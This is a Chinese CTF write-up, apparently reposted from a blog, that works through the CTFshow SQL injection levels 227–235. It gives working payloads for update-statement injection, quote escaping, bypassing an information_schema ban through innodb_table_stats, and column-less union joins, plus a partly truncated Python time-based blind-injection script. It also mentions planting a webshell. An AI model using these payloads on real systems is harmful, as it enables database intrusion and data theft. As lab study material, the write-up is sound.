ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)

web227

按照上一题的方法,发现查不出flag表了,把ctfshow_user表给爆了一下也没flag,然后写一句话马,蚁剑连上去还是找不到flag,人傻了。。。

看了一下y4师傅的WP,原来这题考的是存储过程:

存储过程(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。

毕竟我们不是开发,没必要了解的那么深。我对于存储过程的理解就是用户自定义的函数,就是PHP,python里面自己写函数一样。

再参考一下这个:MySQL——查看存储过程和函数

查一下information_schema.routines表,就可以发现一个getFlag的存储过程:

ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)_第1张图片

还给出了这个存储过程的定义:

BEGIN

SELECT "ctfshow{3b8b089d-6aaf-4176-9060-89786fcca3ba}";

END1

2

3

所以直接就能得到flag了。如果要调用的话,也可以这样:

';call getFlag();1

不过正常这题都是在之前姿势的基础上,还是要16进制编码。我这里没编码是因为我之前已经写马蚁剑连了上去,发现api/index.php有写的权限,我直接把过滤了删了才可以这样搞的。

web228

同web226

web229

同web226

web230

同web226

web231

首先说一下注入点,在api/index.php,post传参password和username。。日常找不到注入点。

这题我第一反应的话是二次注入,因为update更新后的结果在update.php那里有回显,布尔注入,时间注入甚至都可以。我第一反应是这样:

password=0'+substr(hex(hex(database())),1,10)%23&username=11

利用双层hex来二次注入,但是感觉肯定是有些麻烦的,这题一点过滤都没有不太可能这样。然后想着为什么只能password那里回显,username不能回显呢,然后就想到了直接写username:

password=0',username=database()%23&username=11

username那里的语句随便写就可以了。

看了一下yq师傅的博客,这题其实不需要注意,因为查询的是不同的表:

mysql中不支持子查询更新,准确的说是更新的表不能在set和where中用于子查询。那串英文错误提示就是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)。

如果flag在update的那个表里面,我们想查出来的话就需要用子查询了,参考文章如下:

mysql update不支持子查询更新

web232

同上

web233

不知道为什么不能像前两个题那样做了,搞不明白为什么。但是不能的话那就只能盲注了,把之前的脚本改一改就行了,需要注意的就是sleep那里,是每一列都会sleep一次,所以判断的时间限制要大致算一下:

"""

Author:feng

"""

import requests

from time import *

def createNum(n): num = 'true' if n == 1: return 'true' else: for i in range(n - 1): num += "+true" return num

url='http://e3a564a9-8fda-4003-895a-404b571895a4.chall.ctf.show:8080/api/'

flag=''

for i in range(1,100): min=32 max=128 while 1: j=min+(max-min)//2 if min==j: flag+=chr(j) print(flag) if chr(j)=='}': exit() break #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

web234

还是很懵,明明没过滤为什么又打不通了。。。

看了一下师傅们的wp,原来有过滤啊草。。。把单引号给过滤了,我太菜了。

所以这题就可以利用反斜杠把单引号转义,例如这样:

password=\&username=,username=database()#1

相当于查询语句变成了这样:

update ctfshow_user set pass = '\' where username = ',username=database()#';1

然后在username那里构造语句就可以了。

web235

ban了or,其实还暗ban了information_schema,可以拿innoDB引擎来绕过,即这个mysql.innodb_table_stats。

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#1

把表名给爆了出来,接下来就是无列名注入了:

sql注入(利用join进行无列名注入)

password=\&username=,username=(select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)x)#1

文章来源: blog.csdn.net,作者:bfengj,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/rfrder/article/details/113791067

你可能感兴趣的:(ctf,php,sql注入)